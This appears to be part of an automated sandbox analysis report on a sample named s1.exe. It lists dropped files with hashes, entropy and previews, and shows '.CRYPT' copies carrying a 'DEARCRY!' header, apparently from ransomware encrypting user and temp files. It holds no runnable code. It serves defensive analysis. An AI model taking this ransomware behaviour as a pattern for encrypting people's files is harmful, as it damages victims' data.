                                                              C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\AC\INetCookies\ESE\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.118331564871511
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D4456B715818CEB910D785A2E0D5C3D7
                                                              SHA1:5CDEAE3E55BB565D5D791F7AFC0CFEEA7E1E7381
                                                              SHA-256:3AF6C944FBD3B49206BF0F80BD56CB36D38B68EEFEF97BD626EF1F4FDA1DA946
                                                              SHA-512:374CA40F10435A092818EEC1AE32597F6BCB87599504F16691545704849D43ECDA805F6DC162F00AA8D14E43CCC6F9F038DDF258959D3AAB29F161C6F55DF851
                                                              Malicious:false
                                                              Preview: DEARCRY!.....5!....Y.s[>..............m......2.....B.i...2..Ci_.@...(.z.v...$.^.wj.s....Fu.O.....~..0a.G...,.h..}[:......]JTjjr@..v.V.At.....1..V......A'."v..O.d...0.@m....>....t.r..4+8*)=..R....{...e...T..{dK.o|P.99..'..^}/pY..../..`..cwe'..]...V..j.&B..X..............a..$......;h.
                                                              C:\Users\user\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.988976179603202
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:080E151ABA1BD446C5B5D44109D2AAFE
                                                              SHA1:BF6354911E3DE7328A7B8496AFEDB383ACB4575E
                                                              SHA-256:D9946CBED0CE98F3BA34C52EB76FC28C10FEC4F071E4703B5322E93DC6F40E0E
                                                              SHA-512:6B0FBDF1B8734112D42C134C426E44D7CE7C1D8EBE9A49C613470A3B3E4C28309AA1B696F5669389110CEDA6E5B06952583E9F4DC607762DAD8137EE3EC8C06A
                                                              Malicious:false
                                                              Preview: DEARCRY!....X.;......Cz...;.....P...n.(69p.....+....?.~u!.....Bb.......a .."G..~.j.@..Cp...A!.O....I*.p[<...v.?...!....D....N.F4..q36.y-L=...wH.Ns..... ..../J|.....2X7?1X{dS{u...*VA.^8E....fPw.....)....U..L.>`.24T.|#.!...X33V....H..v.p..sk.LXq......n.P..*..... ......7.A]J..k.l......x+T......t.......8..yv.(..L..e....&S...|./!.XL..h).-..j...w...5nnp...`...k."&..(.NRkq.<q..j...d.....M.....CY/..=....H...........V!....T..t..,[-q..v..E.g.4.z@...?7{.h....$.Zr+..s.6...X.F.Gu.j.@'...G....$.....TD|&*.....0)5U.......c..g'..R.Q.o....S.O.J.J S..E..LMUF..O1.~.ii.L S.7:..'1.t.*...nd.T...>..ZA..w...W.y....9.l...K....n......x.|..V......w....>%...........d....z*AE.4...!...._.B..r#.C..n.{<...r...;...&...r.<.`.HL...)...b.......?.......a...&Jy..Y]k.B..e.w..(#...`.%....3.p.+..O.p6...F.T.UG...`....1...f..A...9.1aqW'...D......[...H...j.[..v.........l2D.{7.S3...0<.ay....Sx...Bd6.4-.. .........b'...O.u.....wf+.{.[.pi5D@..=+S3?.m..q......(9..N...|JX...
                                                              C:\Users\user\AppData\Local\Temp\AdobeARM.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4298
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D11B81CA7E5767888140BBAB6E50AE32
                                                              SHA1:BE9F20DF2CA0906144D3612C73B9425E311A06F5
                                                              SHA-256:D7F75A35DB18CC58BE58CC4AB543C39F705237E5B40A63D7B47E6926572F746D
                                                              SHA-512:55EB997E6A35C703D4831AE123FBFFD187831CCDCB7B9527E0E7314066F600DC1753356FF80AB600239DB26CAD6204B30F7B0098163A6E6695FEC4AC83E41ECA
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Temp\AdobeARM.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4584
                                                              Entropy (8bit):7.961476182162461
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B891F4C9D11C85F8CE9A0F5BA51F5D70
                                                              SHA1:C78B7E5DCDB77FD84D7DB53D8BAE146E1B65DDA8
                                                              SHA-256:D12ABD0B729E4B6200E2E7E92D3D6F083464067250B4896FE10F20FCC1138541
                                                              SHA-512:DF05C3A28B34F5F9D5C515883509D64C43FB96CC4FCA2776D61BB0F2F0AAE483E65C49A9F69C6697631BC32F3F1245C5BC2ABD1392F60D81355E19A478F3DFA4
                                                              Malicious:false
                                                              Preview: DEARCRY!.....|_......-BaytT..U.~..jzB...[..?P..~......`..F....t...^...........u..=.N;{B/v...,^...Q....g/D"...O`.8;.l.##..... .D.*,d.P..:a@.....t.....J..y|...%........%.c....gixpn...5.'..f..\p.........7(....m....,.;.Z......4..p..-o...... ...#q;(....h.q,.Ae.u.,n................P>....1...C..|...e...-:..`v.....UQb....;..`s?M.Z.N.-.....]*.m,..W#O...^+.J!....[-..AUW.....,...'._.@..........X...M~Y..p...M.-;z.V.7lV.uD..s..^..{..:...=.:..DR..@[....'.%e..x....v.....j,....A...~$......."./..6...|."..Eor.....R..'...?I..3}Y_.?g..ZR....t......2.m..F..rG%...yiRZ..Y&.ek...).s.Uf.12....Y.LdA'...0.f.G!xI ...K,..!......P~ !<d .D...]uIZ4-..q..*n5...`&.n=.....?7.......}7$..........a....,..u...L.s`...7)2.yC.C..8.#..2....t.T..x._...89 ..9.b....[...:r.9....QGw.I..1|.!0.....g._.{..2....f..H..l.."m5..R..a.y.1......Y.Z..A..L.O.L....3B.<_.A.... ..%.....%B..P.IN.nG....q%B*.%w.N.W.A.bgk...uxp.....).{.*....x0a......r......+.5i3=.../...(.I..Lhn...c....m89(B~.0...G..eWe..
                                                              C:\Users\user\AppData\Local\Temp\ArmUI.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):257928
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A386737A8B5AA6F70EFFEC7089E1D6D0
                                                              SHA1:EDDA59ECEB449181F630206AC08926ECCAAEC645
                                                              SHA-256:AB7B22893CF5680879DFE8F4AE36E012DB7684C1247788316C603E1A28044F24
                                                              SHA-512:D464DF27FDB34D0D6CC3114CEA5FC731FD89CAF17A5F9004A84C98394F533F4F3C99221372FE52AA01CCB70DE5F59182E75EB3D70C76ED2759480C89A8EFBD1F
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Temp\ArmUI.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):258216
                                                              Entropy (8bit):7.9993369672973245
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:7F0E46CFA617FAC8BA342261533B51EE
                                                              SHA1:3B2890555AFCD768A9F97CCBC8A2F639944A4887
                                                              SHA-256:1EDEAB29636945F11CB3A59AF5CB3F9739CF69334F7225358E5064A125A9B63C
                                                              SHA-512:D80CE10B564F6D16A12A97B76581165BEE9128AD4941EE2E33CAF6CF8F9F6FB8CB3820E351FBC01B392D7591D21D192BCE520A43C033BA5C22B1B20A9E086BB0
                                                              Malicious:true
                                                              Preview: DEARCRY!.........@.>T.^N.i7`=....NWI}+.>..=..y"..Q.*...J'....R.....hE....4.s).8...L.mD;...f..a...A...}#.....4..<.w..9c_>.b.35...4[..........b...*..WdDy.R....B.1....o..x..,iEo< .....1Z.)h8.T..p..`.fp.....t].803n.......GR"n...f.[\..^.Ib.}e..W.& .N...2a..%s1.p|.............aKM.y..d6.....6...R..}mZ....T..........wS+..Yi....|.I.;...D.'.Wd...:<.)..2...?qu/.. .....2.X3..Z.2,s..uj..j...%..N..^Ay.~a.$......d].Ra&.$0.JfQ.....p...\..N......HT..,.....6.....3.+..hJC..M.. .`.......F...MJL.|@...<A..|w...)..+....K....mW..`Qe>.'./.).8....r.....93^Qr.~....h..."....{..0.`.....U....W...6......9.W.a.U-..k..........?.E`..3D..{.WT.5...<...L..i.....R@>^o..!6.q(8..%.t..T....k!..YaY.5..6.x}b.#..h.;.8w....z.1.2..". ......NK..^.aOx9.../...w..=.......BM..6.:v}r.O.g./....uU}.%;M"(K...7.r.P5..."....k.m..-^+..d.9$...$..Q..U...-c..0.H.D1.7...>"...4X....h.e5.S.%O^..8..... t..?..{..o.IQ2.o.....dwN].}..qq..y.\.._}Ig8.U.~u.t+..=2......<3A..%J..t..C.....Fo...._.5.k.[.M."..:A`..
                                                              C:\Users\user\AppData\Local\Temp\CR_8F2A8.tmp\setup.exe
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2674160
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E272269523FFAB4CC2BE485073E8265C
                                                              SHA1:D8FC587919134E87A48FF8F3331D5C3EA0D718FC
                                                              SHA-256:305DC1425AB0850B27142F8B141328DDB854FD72F69B2D2E546F4CA301AEC9E6
                                                              SHA-512:339C86CDF21979F33D380D7D7F9C6427EAC35C06914075F4B9F53D3BCFAA3B5093588CFC7ABFBA80D52DE5C459CAC4861B2BA64522D84C77E6390FB47564FB4E
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Temp\CR_8F2A8.tmp\setup.exe.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2674456
                                                              Entropy (8bit):7.999924346308755
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:DC70CF229BE3A5EA9B8686711A1429DA
                                                              SHA1:130CD44B756D9972B6491BD6A34BB275BF995471
                                                              SHA-256:7E9858241C5C1CD2187CCA2D46C73C5738BD033A4AC27CB2906BE451792AB64E
                                                              SHA-512:E1AB7EA1A6BB6D7D08774ED155770062FA0F2D1A12FDB0D1695797D22F565D0CE64136F091F9F0AE45E319C3448C48018001D3A45EB3A715B97BF90B30DC6FB6
                                                              Malicious:true
                                                              Preview: DEARCRY!......2..s....m....dM......VM\.+...%B...;.......O.....m...o*.O..........".{....'..9...)......V.F..[.?.LG.=..Iw......+.].y.h#%q..-.._=.qY...I...%......t.....^>.......t...2.-.c.D.r.&".;..'G..u.s6D...r.......W_.;g..n.N.!@... i.+.xk..x........2..|...........(.....|}.E{....TO.e..z..O*.....1....JO....B.t0.O.J9.|=...L.=.an..]N.z.>P<j..~^.5 ...z....GO.).......1=..A..H..Y&....#.f....b....04.z.f.1|..USQ.8n.0Y.W..\. 0.(s3.`L../I.Z_..8:1..(..I>V....to.n.}..c.$....Tx.,DP...@...U!......4{3.d.....C...h.|..(....$..|..:.*z.z...b/....h..x...._.1..5l..`....G.g...5....g@..;_..}....$.... .........{R.....e..O;..#.........e.-..q......W..).C.},.........=...9.8..[q8....$.z...|..#..r........6.-w....f+)....i..X..2.ii..^!P.P.5..>W..4.N......y....k|TR.&>\...{t.]..s..no...3_..k...}..X....f...5.V.v<a..LR.............,...HX[l.....E.'. ...ce.mr..1.mk5k.V...2"}..Z....U*.....8s....w.....V..m41\...\R../v&.&....U(....~../....jI.4..7Z.>.F...db......z..bB.F^+."...j~.c..a
                                                              C:\Users\user\AppData\Local\Temp\JSAMSIProvider32.dll
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):604160
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:51A0159B7F1C463EF0659CE174852B2D
                                                              SHA1:4FDB7AC30A7B0CADD245C17FC22D30D8FE2931E9
                                                              SHA-256:F23F4A693A5C3EFEB99DF3575F4153B41561E75886FF3399D3A1D85BB2C56C6E
                                                              SHA-512:8A29662F07DA255D8395BD8455ADAAF5191C6B0004D04CE4CCE6FA60A0A44793D86523899274FE9BE7AE7D8D05F3F085B71F42C11744C08A175337C157A0514A
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Temp\JSAMSIProvider32.dll.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):605640
                                                              Entropy (8bit):7.999636607991396
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:1F0EF416C6E7B91F595D83707C856204
                                                              SHA1:64FDF1A87471EB0528199CBC5FBB71250B264B10
                                                              SHA-256:36B4B041436EBD6AF152BFC469C4C653F49695E0E1F3C20F3432503E2838B75F
                                                              SHA-512:727BC4290144EEDD195BC257A072F150E7E3063EDAB3D06058EBE86CB40A9BA6103295DDE999E572034B1CA6E584A7407CDC5D0A928A49DE540CCE2D32ACB979
                                                              Malicious:true
                                                              Preview: DEARCRY!......*..Kg....S2...q.5.tWX.q...F...1..}......W...y.'. .\.,Q.m.L...]F%u;.....D.V>.....j.j.{.......w.02lE...v.. ......_j.Y..HY.J{Y.Z.....x.q..+.....m......t.z...`.=\..k.+q....z..............>.$9Q......L...X`..W'..s}...8F.,Q.+.c.......i. ...CD...e.............M5:.5=.%.%A).3W...P.e#...{.8.w:....*|U..X....<%]w.f..Or......[m.1.......\.?(.n....!b.iYg.......zz-y....9....K.....[...".SJ...,.Q...v.]P........#I.E^..N'....W..@S..w@f2$.n>M..."..K._.oc...&j...G......J@;.n.k!Zh.+...rR...9.?kI.Y.>.4y4`...a,...`.8.<iPC.t-r.}/$..{..3!V.[X-3.....K..R..\6....."P|..J.(..Lo{.j.3#)y.8[.[.V.../.;.W.C..Z..X.U...m.j...L...#W.W.A..~|...I......$P2....7...:.nP.a....'.F..7K..].E L.}F.F.E..sW.".;....Y.f.}d.H+../.Z]iU.k9...[..s{..j7..E.{J...\....vY;.p.v'..G.../..3....]DE.u..:zZM.%.Ir...F.....T...he..'.'..8l.S.{e.0.t.nw.X.x.......`..K9..%.g._....UaX...w.&K.|sjc.b~g.....BF2...|......*.fp.f...T..N.z....9.Q...I..*.x....M.A..".I..gTS.S.91.H..&.g............=.
                                                              C:\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):675840
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DBD653AFEADF455A5BEB0F7565CCB311
                                                              SHA1:C8AE79C966BF0974BEF2FB80E8A9B7DAEA263C8C
                                                              SHA-256:A2BA567EA7861DC2454C990FFA3AB4E13993588A76D2E8BC8B374B66FA617796
                                                              SHA-512:AD1C706765099F409C49856CA1C83D5344F284A3734DA13D0C662D46962136CC9072CB569F3C000041907E984411334265A8234DEB7853F728811C0B47CBEB17
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):677320
                                                              Entropy (8bit):7.999730414795545
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:8B6C65DDF949D71AA1E877F3E47874DC
                                                              SHA1:873F6FD76BB5DE1E72ADC5A1E847A355DD0C8E53
                                                              SHA-256:5EC845BA44AC5AE9FCF9CB4D87DC0F3635FE563F749C00C006348EE9FDDCDFDD
                                                              SHA-512:181B3E19BC8638EB77342482AF62B9312E363CDE656677EBE184417E6EDCAD7F5BCA20DB86A1BDD4325E018DAE871A0FEB2E09AAB8C5E8834209554DF6C897A4
                                                              Malicious:true
                                                              Preview: DEARCRY!.......75..au.,a.(.?...e....V1;.N9a|p(l...cs...E.~...cb....=9j.m1..rs1:..6)..<.X_..'...t..Q..`.5c.....g..P...C....7>.>...h.s..l..r.!..sx..M...]/..@R.p..^.l.c....G.56.,...e.)..q...q|......m.ES\......U.x.$.....,.%....,.]..'.0......G..........hN.~E"............./..$d..]...a.o..zq..R..8FnP._.........B.l.N.KL.z....Cf.Us5.$...$......!u.,.....B...3....1..zRj6...d.......&V;..,DZ.S..tY/].......@.w.OPOA.....Z[.....b......m...M.P..B..\..r{...5.i..y.y(3...../2.....0..e.G{\...9..!.JR...,....#.C....9......{B....'U~*.Uw.c...yc....\R.s.'Z=.v:~........ -iG.}...sb.Z..y..,1...< 